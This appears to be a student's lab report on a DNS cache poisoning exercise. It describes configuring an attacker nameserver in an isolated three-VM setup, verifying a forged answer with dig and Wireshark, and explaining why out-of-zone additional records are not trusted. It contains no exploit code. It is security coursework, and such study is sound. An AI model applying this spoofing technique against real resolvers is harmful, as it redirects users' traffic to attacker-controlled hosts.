This task is for result verification. Firstly, because I do not own a real DNS domain name, I followed steps on the lab description to do demonstration by using fake domain name ns.dnslabattacker.net. Screenshot1 to screenshot4 describes the whole process of configuration on VM2 and VM1. After finishing all these configurations, I go back to VM3 (user machine) and run “dig www.example.com”, the result is shown in the screenshot5. We can see in the answer section, the IP address of www.example.com is 1.1.1.1. This verifies that our attack is successful. In the screenshot6, the Wireshark captures the whole traffic. When we run “dig www.example.com” on VM3, it sends DNS query to VM2 (No.1). Because VM2 cached the name server of example.com, so it directly asks the name server-ns.dnslabattacker.net for answer. We have setup the fake domain name server on attacker machine VM1, so VM2 sends DNS query to VM1 (No.2). After VM2 receives the forged answer which provided by the attacker machine (No.3), it forward the forged answer to VM3 (No.4). Finally, VM3 prints the result as screenshot5 shows.

Answer for Question in task2:

We cannot use the additional record to provide the IP address for ns.dnslabattacker.net. When we provide ns.dnslabattacker.net as a name server in the authority section, that is fine because the name of domain's authoritative name is not necessary to be a name inside the domain. However, in the additional section, even the record is related to the NS record in the authority section, it will not be accepted by the DNS server because the name server is out of zone (ns.dnslabattacker.net is not in the zone of example.com). Therefore, the IP address in the additional section will never be trusted and used by the DNS server.